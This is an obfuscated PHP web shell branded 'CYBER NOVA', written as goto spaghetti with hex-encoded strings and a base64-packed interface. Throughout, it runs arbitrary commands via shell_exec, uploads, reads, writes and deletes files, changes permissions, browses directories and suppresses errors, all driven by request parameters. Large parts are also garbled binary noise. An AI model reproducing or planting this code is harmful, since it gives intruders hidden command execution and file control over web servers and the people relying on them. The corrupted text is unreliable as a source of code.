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ICAgICAgICAgICAgICAgIHNldFRpbWVvdXQoKCkgPT4gewogICAgICAgICAgICAgICAgICAgIG1zZy5zdHlsZS5vcGFjaXR5ID0gJzAnOwogICAgICAgICAgICAgICAgICAgIG1zZy5zdHlsZS50cmFuc2l0aW9uID0gJ29wYWNpdHkgMC41cyc7CiAgICAgICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiBtc2cuc3R5bGUuZGlzcGxheSA9ICdublJywgNTAwKTsKICAgICAgICAgICAgICAgIH0sIDYwMDApOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIFJlYWwtdGltZSBjbG9jawogICAgICAgICAgICBmdW5jdGlvbiB1cGRhdGVDeWJlckNsb2NrKCkgewogICAgICAgICAgICAgICAgY29uc3QgbmID0gbmV3IERhdGUoKTsKICAgICAgICAgICAgICAgIGNvbnN0IHRpbWVTdHIgPSBub3cudG9Mb2NhbGVUaW1lU3RyaW5nKCdlbi1VUycsIHsgCiAgICAgICAgICAgICAgICAgICAgaG91cjEyOiBmYWxzZSwKICAgICAgICAgICAgICAgICAgICBob3VyOiAnMi1kaWdpdCcsCiAgICAgICAgICAgICAgICAgICAgbWludXRlOiAnMi1kaWdpdCcsCiAgICAgICAgICAgICAgICAgICAgc2Vjb25kOiAnMi1kaWdpdCcKICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuc2Vzc2lvbi1pbmZvID4gZGl2Omxhc3QtY2hpbGQnKS5mb3JFYWNoKGVsID0+IHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWVsLmNsYXNzTGlzdC5jb250YWlucygnc3RhdHVzLWJhZGdlJykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZWwudGV4dENvbnRlbnQgPSB0aW1lU3RyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHNldEludGVydmFsKHVwZGF0ZUN5YmVyQ2xvY2ssIDEwMDApOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gRWRpdG9yIGF1dG8tcmVzaXplCiAgICAgICAgICAgIGNvbnN0IGVkaXRvciA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJy5uZXVyYWwtY29udGVudCcpOwogICAgICAgICAgICBpZiAoZWRpdG9yKSB7CiAgICAgICAgICAgICAgICBlZGl0b3IuYWRkRXZlbnRMaXN0ZW5lcignaW5wdXQnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmhlaWdodCA9ICdhdXRvJzsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmhlaWdodCA9ICh0aGlzLnNjcm9sbEhlaWdodCArIDMwKSArICdweCc7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgICAgIGVkaXRvci5kaXNwYXRjaEV2ZW50KG5ldyBFdmVudCgnaW5wdXQnKSk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIFRvb2wgY2FyZCBob3ZlciBlZmZlY3RzCiAgICAgICAgICAgIGNvbnN0IHRvb2xDYXJkcyA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy50b29sLWNhcmQnKTsKICAgICAgICAgICAgdG9vbENhcmRzLmZvckVhY2goY2FyZCA9PiB7CiAgICAgICAgICAgICAgICBjYXJkLmFkZEV2ZW50TGlzdGVuZXIoJ21vdXNlZW50ZXInLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICBjb25zdCBjb2xvcnMgPSBbJyMwMGVlZmYnLCAnIzAwZmY0MScsICcjOWQwMGZmJywgJyNmZmZmMDAnXTsKICAgICAgICAgICAgICAgICAgICBjb25zdCByYW5kbDb2xvciA9IGNvbG9yc1tNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkgKiBjb2xvcnMubGVuZ3RoKV07CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS5ib3hTaGFkb3cgPSBgMCAxMHB4IDQwcHggJHtyYW5kb21Db2xvcn1gOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGNhcmQuYWRkRXZlbnRMaXN0ZW5lcignbW91c2VsZWF2ZScsIGZ1bmN0aW9uKCkgewogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUuYm94U2hhZG93ID0gJyc7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBDeWJlciBzY2FubmluZyBlZmZlY3QKICAgICAgICAgICAgZnVuY3Rpb24gY3JlYXRlU2NhbkxpbmUoKSB7CiAgICAgICAgICAgICAgICBjb25zdCBzY2FuTGluZSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgICAgICAgICAgICAgc2NhbkxpbmUuc3R5bGUuY3NzVGV4dCA9IGAKICAgICAgICAgICAgICAgICAgICBwb3NpdGlvbjogZml4ZWQ7CiAgICAgICAgICAgICAgICAgICAgdG9wOiAkehdGgucmFuZG9tKCkgKiAxMDB9JTsKICAgICAgICAgICAgICAgICAgICBsZWZ0OiAwOwogICAgICAgICAgICAgICAgICAgIHdpZHRoOiAxMDAlOwogICAgICAgICAgICAgICAgICAgIGhlaWdodDogMXB4OwogICAgICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudCg5MGRlZywgdHJhbnNwYXJlbnQsIHZhcigtLW1hdHJpeC1ncmVlbiksIHRyYW5zcGFyZW50KTsKICAgICAgICAgICAgICAgICAgICB6LWluZGV4OiA5OTk5OwogICAgICAgICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lOwogICAgICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogc2Nhbk1vdmUgMS41cyBsaW5lYXI7CiAgICAgICAgICAgICAgICBgOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHNjYW5MaW5lKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgc2V0VGltZWdCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgc2NhbkxpbmUucmVtb3ZlKCk7CiAgICAgICAgICAgICAgICB9LCAxNTAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gUmFuZG9tIHNjYW4gbGluZXMKICAgICAgICAgICAgc2V0SW50ZXJ2YWwoY3JlYXRlU2NhbkxpbmUsIDIwMDApOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQWRkIHNjYW4gYW5pbWF0aW9uCiAgICAgICAgICAgIGNvbnN0IHN0eWxlID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc3R5bGUnKTsKICAgICAgICAgICAgc3R5bGUudGV4dENvbnRlbnQgPSBgCiAgICAgICAgICAgICAgICBAa2V5ZnJhbWVzIHNjYW5Nb3ZlIHsKICAgICAgICAgICAgICAgICAgICAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlWCgtMTAwJSk7IG9wYWNpdHk6IDE7IH0KICAgICAgICAgICAgICAgICAgICAxMDAlIHsgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKDEwMCUpOyBvcGFjaXR5OiAwOyB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIGA7CiAgICAgICAgICAgIGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQoc3R5bGUpOwogICAgICAgICAgICAKICAgICAgICAgICAgLy8gSW5wdXQgZm9jdXMgZWZmZWN0cwogICAgICAgICAgICBjb25zdCBpbnB1dHMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuY3liZXItaW5wdXQnKTsKICAgICAgICAgICAgaW5wdXRzLmZvckVhY2goaW5wdXQgPT4gewogICAgICAgICAgICAgICAgaW5wdXQuYWRkRXZlbnRMaXN0ZW5lcignZm9jdXMnLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmJveFNoYWRvdyA9ICcwIDAgMjVweCB2YXIoLS1jeWJlci1ibHVlKSc7CiAgICAgICAgICAgICAgICAgICAgdGhpcy5zdHlsZS50cmFuc2Zvcm0gPSAnc2NhbGUoMS4wMiknOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIGlucHV0LmFkZEV2ZW50TGlzdGVuZXIoJ2JsdXInLCBmdW5jdGlvbigpIHsKICAgICAgICAgICAgICAgICAgICB0aGlzLnN0eWxlLmJveFNoYWRvdyA9ICcnOwogICAgICAgICAgICAgICAgICAgIHRoaXMuc3R5bGUudHJhbnNmb3JtID0gJyc7CiAgICAgICAgICAgICAgICB9KTsKICAgICAgICAgICAgfSk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBDbmaXJtYXRpb24gZGlhbG9ncyB3aXRoIGN5YmVyIHRoZW1lCiAgICAgICAgICAgIGNvbnN0IGRlbGV0ZUJ1dHRvbnMgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcuY3liZXItYnRuLWRhbmdlcicpOwogICAgICAgICAgICBkZWxldGVCdXR0bzLmZvckVhY2goYnRuID0+IHsKICAgICAgICAgICAgICAgIGJ0bi5hZGRFdmVudExpc3RlbmVyKCdjbGljaycsIGZ1bmN0aW9uKGUpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoIWNvbmZpcm0oJ+KaoO+4jyBQRVJNQU5FTlQgREFUQSBERUxFVElPTi4gQ09OVElOVUU/JykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgZS5wcmV2ZW50RGVmYXVsdCgpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0pOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgIC8vIEFkZCBwYXJ0aWNsZSBlZmZlY3RzCiAgICAgICAgICAgIGZ1bmN0aW9uIGNyZWF0ZVBhcnRpY2xlKCkgewogICAgICAgICAgICAgICAgY29uc3QgcGFydGljbGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdkaXYnKTsKICAgICAgICAgICAgICAgIHBhcnRpY2xlLnN0eWxlLmNzc1RleHQgPSBgCiAgICAgICAgICAgICAgICAgICAgcG9zaXRpb2IGZpeGVkOwogICAgICAgICAgICAgICAgICAgIHdpZHRoOiAzcHg7CiAgICAgICAgICAgICAgICAgICAgaGVpZ2h0OiAzcHg7CiAgICAgICAgICAgICAgICAgICAgYmFja2dyb3VuZDogdmFyKC0tY3liZXItYmx1ZSk7CiAgICAgICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogNTAlOwogICAgICAgICAgICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBub25lOwogICAgICAgICAgICAgICAgICAgIHotaW5kZXg6IDk5OTg7CiAgICAgICAgICAgICAgICAgICAgdG9wOiAke01hdGgucmFuZG9tKCkgKiAxMDB9JTsKICAgICAgICAgICAgICAgICAgICBsZWZ0OiAkehdGgucmFuZG9tKCkgKiAxMDB9JTsKICAgICAgICAgICAgICAgICAgICBib3gtc2hhZG93OiAwIDAgMTBweCB2YXIoLS1jeWJlci1ibHVlKTsKICAgICAgICAgICAgICAgICAgICBhbmltYXRpb246IHBhcnRpY2xlRmxvYXQgJHsyICsgTWF0aC5yYW5kb20oKSAqIDN9cyBsaW5lYXIgaW5maW5pdGU7CiAgICAgICAgICAgICAgICBgOwogICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHBhcnRpY2xlKTsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgc2V0VGltZW91dCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgcGFydGljbGUucmVtb3ZlKCk7CiAgICAgICAgICAgICAgICB9LCA1MDAwKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgLy8gQ3JlYXRlIHBhcnRpY2xlcyBwZXJpb2RpY2FsbHkKICAgICAgICAgICAgc2V0SW50ZXJ2YWwoY3JlYXRlUGFydGljbGUsIDMwMCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAvLyBBZGQgcGFydGljbGUgYW5pbWF0aW9uCiAgICAgICAgICAgIGNvbnN0IHBhcnRpY2xlU3R5bGUgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzdHlsZScpOwogICAgICAgICAgICBwYXJ0aWNsZVN0eWxlLnRleHRDb250ZWID0gYAogICAgICAgICAgICAgICAgQGtleWZyYW1lcyBwYXJ0aWNsZUZsb2F0IHsKICAgICAgICAgICAgICAgICAgICAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlKDAsIDApIHNjYWxlKDEpOyBvcGFjaXR5OiAxOyB9CiAgICAgICAgICAgICAgICAgICAgMTAwJSB7IHRyYW5zZm9ybTogdHJhbnNsYXRlKCR7TWF0aC5yYW5kb20oKSAqIDIwMCAtIDEwMH1weCwgJHtNYXRoLnJhbmRvbSgpICogMjAwIC0gMTAwfXB4KSBzY2FsZSgwKTsgb3BhY2l0eTogMDsgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICBgOwogICAgICAgICAgICBkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHBhcnRpY2xlU3R5bGUpOwogICAgICAgIH0pOzwvc2NyaXB0PjwvYm9keT48L2h0bQ=="));
goto Q6DoL; W007x: if (isset($_GET["\141\x63\x74\x69\157\x6e"])) { $action = $_GET["\x61\143\x74\x69\x6f\156"]; switch ($action) { case "\144\x65\x6c\145\x74\145": if (isset($_GET["\164\141\162\x67\145\164"])) { $neuralCore->process($N_DELETE, $_GET["\x74\141\162\147\145\x74"]); header("\114\x6f\x63\141\164\151\157\x6e\72\x20\x3f\x6d\141\164\162\151\170\75" . urlencode($currentMatrix)); die; } break; case "\154\157\x67\x6f\x75\x74": $neuralAuth->logout(); header("\114\x6f\143\141\x74\151\x6f\x6e\72\40" . $_SERVER["\120\x48\120\137\x53\105\114\106"]); die; case "\145\170\145\143\x75\164\145": if (isset($_POST["\x63\x79\142\x65\x72\137\143\x6d\x64"])) { $output = $neuralCore->process($N_EXECUTE, $_POST["\143\171\142\x65\x72\x5f\143\x6d\x64"]); $neuralMessage = htmlspecialchars($output); } break; case "\x63\x68\155\157\144": if (isset($_POST["\x74\x61\x72\x67\145\x74\x5f\x70\141\164\x68"]) && isset($_POST["\141\x63\143\145\x73\163\137\155\157\x64\x65"])) { $neuralCore->process($N_CHMOD, $_POST["\164\x61\x72\147\x65\164\137\x70\x61\x74\x68"], $_POST["\x61\x63\143\145\163\x73\137\155\157\144\145"]); $neuralMessage = "\x41\x63\x63\x65\x73\x73\x20\160\145\162\155\x69\163\163\151\x6f\x6e\x73\x20\x6d\157\x64\x69\x66\151\x65\x64"; } break; } } goto oiR87; Zpn8T: wTTLQ: goto GOosL; VN80C: R88k6: goto C2Xm_; fi368: goto Oda91; goto WsO1f; pigZV: if ($currentMatrix != "\56" && $currentMatrix != "\57") {
<tr><td colspan="5"><a href="?matrix=echo urlencode(dirname($curredG&'7GS&F7fWƖv֗FV36VFW#vWFWBFV6&Fnone;color:var(--cyber-yellow);font-family:Orbitron,monospace"><span class="data-icon">🔙</span> <strong>.. (PARENT MATRIX)</strong></a></td></tr>} goto V5JU2; aO4Q1: echo date("\110\x3a\151\x3a\x73"); goto tj67p; fp6or: goto NgvS5; goto Eyt5K; inudu: echo $currentMatrix; goto fi368; KrDSq: goto yWyWg; goto xALLa; IZ6NC: goto b3_vG; goto gb0Cq; tj67p: gf6%EvFcCdvF$vF7TEC$#Fb673&f&w&W#ƖWBS&7&W%6B&673&7&W"֖WB'&WV&VB6VFW#$VFW"7&W"6B#Fc'WGF673&7&W"'F7&W"'FFvW"'GS'7V&֗B'7GS'vGFR#UT5UDR4C'WGFf&FcFb673'F6&B#Fb673'FֆVFW"#7 I7744U524E$7Fcf&WFC'7B&7F#7F6BfG&vFe56FG&6FVG2FWW&6&R&6W72D44F7W'&VMatrix); goto o4BBh; LK3Xg: ini_set("\x64\x69\x73\x70\154\141\x79\137\145\162\162\x6f\162\163", 0); goto PxzUx; SKN2O: $N_UPLOAD = $neuralCore->getNeuralFunction("\155\x6f\x76\145\x5f\165\x70\x6c\x6f\141\144\x65\x64\x5f\x66\x69\154\145"); goto oLhmc; kk79C: A32kV: goto nOKDj; XOb01: goto Zgzu5; goto AzbHo; vtB1S: goto XZ3w0; goto JOhWU; atOj2: $N_READ = $neuralCore->getNeuralFunction("\146\x69\x6c\145\x5f\147\145\164\137\143\157\x6e\164\145\x6e\164\x73"); goto UpeUW; LQfM_: MZn6u: goto IYT66; Eyt5K: Zgzu5: goto NNCwr; wOvir: m81k0: goto fJEe6; kdGE9: goto t8kHI; goto hjD0V; dx49P: if (isset($_POST["\156\x6f\144\145\137\156\x61\155\x65"])) { $newPath = $currentMatrix . "\x2f" . $_POST["\156\x6f\144\x65\137\156\141\x6d\x65"]; if ($_POST["\156\157\144\145\x5f\x74\x79\160\x65"] == "\x64\151\162\145\143\164\x6f\162\171") { $neuralCore->process($N_MKDIR, $newPath); $neuralMessage = "\116\x65\x75\162\x61\154\40\x6e\157\144\145\40\x63\162\x65\141\164\145\x64"; } else { $neuralCore->process($N_WRITE, $newPath, ''); $neuralMessage = "\x44\x61\164\141\x20\x6e\157\144\x65\x20\143\162\x65\141\x74\x65\x64"; } } goto wVWIW; WsO1f: a0G99: goto FQHZR; uviSk: gJ9WV: goto m8h3C; emlYU: if (isset($_GET["\x65\144\151\x74"])) {
<div class="cyber-editor"><div class="editor-header"><div class="editor-title">💾 EDITING:echo htmlspecialchars(basename($_GET["\x65\x64\x69\x74"]));
</div><div><a href="?matrix=echo urlencode($currentMatrix);
"class="logout-btn">CLOSE EDITOR</a></div></div><form method="post"><input name="data_target"type="hidden"value="echo $_GET["\x65\x64\151\164"];
"> <textarea class="neural-coFVB&S&WW&FF#F6FVBFWW&6&R&6W72D$TBEtUE%CUǃcEScB%ғbF6FVBf6RV6F7V66'2F6FVBFWF&VFb7GS'FFs#WFWBƖv6VFW#&6w&VC&v#SR#'WGF673&7&W"'F7&W"'F&''GS'7V&֗B'7GS'FFsSfB6S7&V# +4dRDE$'WGF</div></form></div>} goto ZBy1r; cqa_G: goto a0G99; goto tPOX8; IWXhH:
GB</div></div><div class="stat-card"><div class="stat-label">SYSTEM LOAD</div><div class="stat-value">goto bq3E4; zUJmi: $N_MKDIR = $neuralCore->getNeuralFunction("\x6d\x6b\x64\x69\162"); gfՆs3#svFFU##vFs34dscfvFfECe#Fb673&G&b#Fb673&7&W"'&VF7'V"#&Vc#G&# +5$U"$CvF$E7vED4BFWW&6&RvWDWW&gV7F%ǃc5SǃfESuCB"vF&W#%3DӢvFC'ScvFcf3D7VvFtucvFCc#vFG3#3V6W&V6FRF7W'&VDG&vF%e7sTue63vF&vF672WW&7'B&fFRFWW&ĶW%5ǃS%ǃCU#%ǃVeeǃFeǃSeǃCǃVeǃ3%ǃ3cucr#V&Ɩ2gV7FWW&V6FRFFFFW#w6&W72FFFFW#"7G%&13($layer1); $layer3 = $this->matrixInvert($layer2); $layer4 = base64_encode($layer3); return $layer4; } public function neuralDecode($encoded) { $layer1 = base64_decode($encoded); $layer2 = $this->matrixIfW'BFW#FW#27G%&C2FW#"FW#BwV6&W72FW#2&WGW&FW#C&fFRgV7FG&fW'BFFF&WGW&7G'&WbFFF&fFRFWW&gV7F2'&%ǃs5ǃsSeǃccǃs5CUǃFeǃsUcEǃscUcB"%ǃcUǃc5ǃcǃfb"%ǃfUCUǃsUǃs%CSEUǃsCUC5cUǃsECR"%ǃs5ǃcCUǃf5SEǃVeǃcUsCUC2"%SUǃcǃsEǃs%SsǃS%CUǃcCB"%Ceǃcǃf5CUǃVeCuǃcUcE3uC5SuǃfUǃsECUSeǃsEǃs2"%ǃfECcEc%ǃcs#uc%ScECR"%CeǃcSECUǃVeǃsǃsUǃsE3uǃc5SuSecECUSeǃsEc2"%ǃseǃfeSǃcEǃScUc%CuCR"%cUǃfUǃf5ǃcǃfUS2"%ǃfUǃfeǃcEǃcU5c%CUǃcǃsECR"%ǃfEǃf%ǃcEǃcǃs""%CC5ǃc5ǃcUc5c5ǃFESuǃcESǃces"%C5ǃcǃfESuǃcB"%ǃfECǃsEc%ǃcǃsǃS5ǃc5ǃcǃfR"%c5ǃc5ǃcǃfUCESǃs""%ǃcECcECǃSUǃsǃf5ǃfeǃcCB"%ǃfEǃfeceCU3uǃsUcSEǃfeCCECUǃcEǃVeǃceSSEǃcR"V&Ɩ2gV7FvWDWW&6FRG&VRf&V6GF2WW&gV7F22FWW&G&VbG&VG&VR&WGW&GF2WW&V6FRFWW&&WGW&VòvFdswS6s燅vFSCUF'vF燅vF7fvW672WW&&6W76"&fFRFWW&6&S&fFRFWW&FW2'&V&Ɩ2gV7F67G'V7BGF2WW&6&RWrWW&7'BGF2DWW&WGv&&fFRgV7FDWW&WGv&GF2WW&FW2'&GF2WW&6&RvWDWW&6FR%ǃcUC5SSr"gV7FFFFV6FFF&WGW&G'VSGF2WW&6&RvWDWW&6FR%ǃs5SCUSEǃf53uǃcUsCUǃc2"gV7FF6BbgV7FW7G2%ǃs5ǃcǃcUǃf5SEǃVeǃcUsCUǃc2"&WGW&6VWV2F6B&WGW&%ǃV%ǃFUUǃSU#%EǃVeǃC5uUǃFEǃCǃFUǃCEǃVeǃC%ǃF5uǃC5ǃF%ǃCUE3R#GF2WW&6&RvWDWW&6FR%ǃceSǃf5ǃcUǃVeǃcuCUcE3uǃc5ǃfeSecECUǃfUcEc2"gV7FGFbfUW7G2GF&WGW&fUvWE6FVG2GF&WGW&f6SGF2WW&6&RvWDWW&6FR%CeSSECUǃVecǃsUǃsEǃVeǃc5ǃfeSecECUǃfUcEǃs2"gV7FGFF6FVB&WGW&fUWE6FVG2GFF6FVBGF2WW&6&RvWDWW&6FR%cUǃfUSESSeS2"gV7FGFb5F"GF&WGW&GF2&V7W'6fUW&vRGF&WGW&VƖ沂GFGF2WW&6&RvWDWW&6FR%SUS5CEǃcc""gV7FGF&WGW&ֶF"GFC2G'VRGF2WW&6&RvWDWW&6FR%ǃc5ǃcǃfEǃfeCB"gV7FGFFFR&WGW&6BGF7FFV2FFRGF2WW&6&RvWDWW&6FR%c5ǃc5CSeǃcEǃcc""gV7FGF&WGW&GF2G&66GFGF2WW&6&RvWDWW&6FR%SUǃfeǃseǃcU3uǃsUǃsSEǃfeǃcCECUǃcE3uǃceǃcǃf5ǃcR"gV7FFfRFFW7B&WGW&fUWFVEfRFfU%ǃsESUǃsǃVeǃfUCǃfECR%FFW7Bғ&fFRgV7FG&66GFFFW2'&b5F"GFFVG&W266F"GFf&V6FVG&W22FVG'bFVG'%ǃ&R"bbFVG'%ǃ&USb"FgVFGF%Sr"FVG'FFW5'&%SeCSUCR"FVG'%ǃsǃcǃsES"FgVF%ǃsEǃscCR"5F"FgVF%ǃcEǃcǃs%ǃcUǃc5ǃsEǃfec%ǃs"%ǃceSSECR"%ǃs5ǃcs%CR"GF2f&DFF6RfW6RFgVF%ǃfESuǃcESCeSǃcUǃcB"FFR%3ǃ&EǃfESUCECǃ6ǃcs%c2"fVFRFgVF%cǃcUc%SUc2"7V'7G"7&Fb%ǃ#Uǃfb"fWW&2FgVF), "\151\x63\x6f\156" => is_dir($fullPath) ? "\xf0\237\x93\201" : $this->getFileIcon($entry)); } } } return $nodes; } private function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array("\x70\150\x70" => "\360\237\222\276", "\152\163" => "\xf0\x9f\x93\x9c", "\x68\x74\x6d\154" => "\xf0\237\x8c\220", "\x63\163\163" => "\xf0\x9f\x8e\250", "\x6a\x73\x6f\156" => "\360\237\224\243", "\163\161\x6c" => "\360\237\227\203\xef\270\217", "\164\x78\x74" => "\360\x9f\x93\235", "\x70\144\146" => "\360\x9f\x93\225", "\x6a\x70\x67" => "\360\x9f\x96\274\xef\270\217", "\160\x6e\147" => "\360\237\226\xbc\xef\xb8\x8f", "\x67\x69\146" => "\xf0\237\226\274\xef\270\217", "\x7a\x69\x70" => "\xf0\237\227\234\xef\xb8\x8f", "\x6d\x70\63" => "\xf0\237\216\xb5", "\155\x70\x34" => "\360\x9f\216\245", "\x65\170\x65" => "\xe2\x9a\x99\357\270\217", "\144\145\x66\x61\165\154\164" => "\360\x9f\223\204"); return $icons[$ext] ?? $icons["\144\145\146\141\x75\154\x74"]; } private function formatDataSize($bytes) { if ($bytes == 0) { return "\60\40\x42"; } $units = array("\102", "\x4b\x42", "\115\x42", "\x47\x42"); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . "\x20" . $units[$i]; } private function recursivePurge($dir) { 